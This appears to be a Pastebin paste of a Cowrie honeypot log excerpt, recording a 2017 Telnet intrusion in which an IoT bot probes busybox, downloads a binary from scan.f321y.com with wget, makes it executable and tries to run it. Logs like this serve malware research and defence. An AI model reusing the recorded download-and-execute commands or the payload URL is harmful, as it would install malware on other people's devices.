  200. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: chmod 777 /sys/dvrHelper
  201. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  202. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox cat /bin/echo
  203. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox cat /bin/echo
  204. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: cat /bin/echo
  205. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  206. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  207. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox wget; /bin/busybox tftp; /bin/busybox ECCHI
  208. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox wget
  209. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: wget
  210. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox tftp
  211. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: tftp
  212. 2017-01-18T20:01:42+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  213. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox wget http://scan.f321y.com:280/dlr/dlr.x86 -O dvrHelper; /bin/busybox chmod 777 dvrHelper; /bin/busybox ECCHI
  214. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox wget http://scan.f321y.com:280/dlr/dlr.x86 -O /sys/dvrHelper
  215. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: wget http://scan.f321y.com:280/dlr/dlr.x86 -O /sys/dvrHelper
  216. 2017-01-18T20:01:43+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Starting factory <HTTPProgressDownloader: http://scan.f321y.com:280/dlr/dlr.x86>
  217. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Downloaded URL (http://scan.f321y.com:280/dlr/dlr.x86) with SHA-256 7a72280e4786692388caae80d9029112c7f8385e9ea0f717fb04e74a72c245ee to dl/7a72280e4786692388caae80d9029112c7f8385e9ea0f717fb04e74a72c245ee
  218. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: /bin/busybox chmod 777 /sys/dvrHelper
  219. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: chmod 777 /sys/dvrHelper
  220. 2017-01-18T20:01:43+0200 [HTTPPageDownloader,client] Command found: /bin/busybox ECCHI
  221. 2017-01-18T20:01:43+0200 [cowrie.commands.wget.HTTPProgressDownloader#info] Stopping factory <HTTPProgressDownloader: http://scan.f321y.com:280/dlr/dlr.x86>
  222. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: ./dvrHelper telnet.x86; /bin/busybox IHCCE
  223. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command not found: ./dvrHelper telnet.x86
  224. 2017-01-18T20:01:43+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox IHCCE
  225. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] CMD: /bin/busybox ECCHI
  226. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Command found: /bin/busybox ECCHI
  227. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Closing TTY Log: log/tty/20170118-200139-None-17i.log after 4 seconds
  228. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] honeypot terminal protocol connection lost [Failure instance: Traceback (failure with no frames): <class 'twisted.internet.error.ConnectionDone'>: Connection was closed cleanly.
  229. 2017-01-18T20:01:44+0200 [CowrieTelnetTransport,17,67.229.225.18] Connection lost after 8 seconds
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!